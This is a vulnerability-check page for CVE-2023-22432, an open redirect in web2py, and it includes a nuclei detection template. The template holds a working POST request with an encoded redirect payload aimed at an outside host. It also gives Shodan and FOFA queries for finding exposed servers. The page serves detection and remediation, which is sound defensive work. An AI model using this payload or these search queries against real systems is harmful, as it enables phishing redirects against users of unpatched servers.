Web2py URL - Open Redirect

mediumseverity

6.1CVSS score

2.4%likelihood of exploitation, next 30 days

84%of all CVEs are less likely

Readycheck to confirm it

Open redirect vulnerability exists in web2py versions prior to 2.23.1. When using the tool, a web2py user may be redirected to an arbitrary website by accessing a specially crafted URL. As a result, the user may become a victim of a phishing attack.

Impact

Authenticated attackers can exploit open redirect through the send parameter to redirect users to malicious websites for phishing attacks.

Fix

Update to web2py 2.23.1 or higher.

How to confirm it

Send: POST /admin/default/index
Positive when: contains "a href=\"\\/\\/oast.pro\"" AND contains in location "\\/\\/oast.pro" AND status 303

Run it with nuclei: nuclei -id CVE-2023-22432 -u <target>

The full check

id: CVE-2023-22432

info:
  name: Web2py URL - Open Redirect
  author: DhiyaneshDK
  severity: medium
  description: |
    Open redirect vulnerability exists in web2py versions prior to 2.23.1. When using the tool, a web2py user may be redirected to an arbitrary website by accessing a specially crafted URL. As a result, the user may become a victim of a phishing attack.
  impact: |
    Authenticated attackers can exploit open redirect through the send parameter to redirect users to malicious websites for phishing attacks.
  remediation: |
    Update to web2py 2.23.1 or higher.
  reference:
    - https://github.com/aeyesec/CVE-2023-22432
    - https://nvd.nist.gov/vuln/detail/CVE-2023-22432
    - https://jvn.jp/en/jp/JVN78253670/
    - http://web2py.com/
    - http://web2py.com/init/default/download
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-22432
    cwe-id: CWE-601
    epss-score: 0.02402
    epss-percentile: 0.84177
    cpe: cpe:2.3:a:web2py:web2py:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: web2py
    product: web2py
    shodan-query: http.favicon.hash:-1680052984
    fofa-query: icon_hash=-1680052984
  tags: cve,cve2023,web2py,redirect,authenticated,vuln

http:
  - raw:
      - |
        POST /admin/default/index HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        password={{password}}&send=%5C%2F%5C%2Foast.pro&login=

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'a href="\/\/oast.pro"'

      - type: word
        part: location
        words:
          - '\/\/oast.pro'

      - type: status
        status:
          - 303

References

Use this check only on systems you are authorised to test. Where the data comes from